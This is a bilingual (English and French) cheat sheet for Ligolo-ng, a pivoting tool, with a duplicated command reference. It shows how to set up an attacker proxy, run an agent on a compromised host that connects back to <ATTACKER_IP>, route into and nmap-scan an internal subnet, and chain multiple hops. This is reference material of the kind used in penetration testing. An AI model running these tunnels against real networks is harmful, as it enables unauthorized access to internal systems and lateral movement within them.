Ligolo-ng

Overview

Ligolo-ng creates a TUN interface on the attacker machine that routes traffic directly into the internal network, making pivoting transparent — tools work natively without needing proxychains or SOCKS proxies.

Setup

Attacker Machine

# Create TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Start proxy server

./proxy -selfcert -laddr 0.0.0.0:11601

Target Machine (Pivot Host)

Connect back to attacker

./agent -connect <ATTACKER_IP>:11601 -ignore-cert

Back on Attacker — Activate the Tunnel

# In the proxy REPL:
ligolo-ng » session           # Select the session
ligolo-ng » ifconfig          # Show target's network interfaces
ligolo-ng » start             # Start the tunnel

# Add route to internal subnet
sudo ip route add 10.10.20.0/24 dev ligolo

Now scan the internal network directly:

nmap -sT -Pn 10.10.20.0/24   # No proxychains needed!

Multi-Hop Pivoting

Deploy a second agent on a host in the internal network, then create a new listener through the first tunnel.

PROXY (attacker):
  ./proxy [options]
  -laddr ADDR       Listening address (default: 0.0.0.0:11601)
  -selfcert         Auto-generate TLS certificate
  -certfile FILE    TLS certificate file
  -keyfile FILE     TLS key file
  -v                Verbose

AGENT (target):
  ./agent [options]
  -connect ADDR     Proxy address to connect to
  -ignore-cert      Skip TLS verification
  -retry            Keep retrying connection
  -v                Verbose

PROXY REPL COMMANDS:
  session           List/select sessions
  ifconfig          Show network interfaces on agent
  start             Start tunnel on selected session
  stop              Stop tunnel
  listener_add      Add a listener (for multi-hop)
    --addr 0.0.0.0:1234
    --to 127.0.0.1:11601
  listener_list     List active listeners
  listener_stop N   Stop a listener

ATTACKER SETUP:
  sudo ip tuntap add user $USER mode tun ligolo
  sudo ip link set ligolo up
  sudo ip route add <SUBNET> dev ligolo

Vue d’ensemble

Ligolo-ng crée une interface TUN sur la machine de l’attaquant qui route le trafic directement vers le réseau interne, rendant le pivoting transparent : les outils fonctionnent nativement sans nécessiter proxychains ou proxys SOCKS.

Configuration

Machine de l’attaquant

# Créer l'interface TUN
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Démarrer le serveur proxy
./proxy -selfcert -laddr 0.0.0.0:11601

Machine cible (hôte pivot)

# Se connecter en retour vers l'attaquant
./agent -connect <ATTACKER_IP>:11601 -ignore-cert

Retour sur l’attaquant : Activer le tunnel

# Dans le REPL du proxy :
ligolo-ng » session           # Sélectionner la session
ligolo-ng » ifconfig          # Afficher les interfaces réseau de la cible
ligolo-ng » start             # Démarrer le tunnel

# Ajouter une route vers le sous-réseau interne
sudo ip route add 10.10.20.0/24 dev ligolo

Scanner le réseau interne directement :

nmap -sT -Pn 10.10.20.0/24   # Pas besoin de proxychains !

Pivoting multi-sauts

Déployer un second agent sur un hôte du réseau interne, puis créer un nouveau listener à travers le premier tunnel.

PROXY (attacker):
  ./proxy [options]
  -laddr ADDR       Listening address (default: 0.0.0.0:11601)
  -selfcert         Auto-generate TLS certificate
  -certfile FILE    TLS certificate file
  -keyfile FILE     TLS key file
  -v                Verbose

AGENT (target):
  ./agent [options]
  -connect ADDR     Proxy address to connect to
  -ignore-cert      Skip TLS verification
  -retry            Keep retrying connection
  -v                Verbose

PROXY REPL COMMANDS:
  session           List/select sessions
  ifconfig          Show network interfaces on agent
  start             Start tunnel on selected session
  stop              Stop tunnel
  listener_add      Add a listener (for multi-hop)
    --addr 0.0.0.0:1234
    --to 127.0.0.1:11601
  listener_list     List active listeners
  listener_stop N   Stop a listener

ATTACKER SETUP:
  sudo ip tuntap add user $USER mode tun ligolo
  sudo ip link set ligolo up
  sudo ip route add <SUBNET> dev ligolo